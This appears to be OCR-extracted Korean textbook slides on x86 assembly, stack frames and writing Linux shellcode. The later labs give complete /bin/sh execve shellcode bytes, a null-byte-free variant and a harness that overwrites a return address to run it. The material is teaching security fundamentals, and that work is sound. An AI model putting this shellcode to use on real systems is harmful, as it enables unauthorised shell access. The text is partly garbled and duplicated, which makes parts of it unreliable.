bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 10: 80×86  시스템에 대한 이해

10108

레지스터의 종류와 기능 범용 레지스터

bull 연산 장치가 수행한 계산 결과의 임시 저장 산술 및 논리 연산 주소 색인 등의

목적으로 사용될 수 있는 레지스터 EAX EBX ECX EDX 등 bull EAX EBX ECX EDX 는 32 비트 레지스터로 앞의 E 는lsquo확장된 (Extended)rsquo 을 의미

이 레지스터의 오른쪽 16 비트를 각각 AX BX CX DX 라 부르고

이 부분은 다시 둘로 나뉜다 예를 들어 AX 는왼쪽 8 비트 상위 (high) 부분을 AH

오른쪽 8 비트 하위 (low) 부분을 AL 이라 한다

80times86 시스템 CPU 의 구조와 레지스터

11108

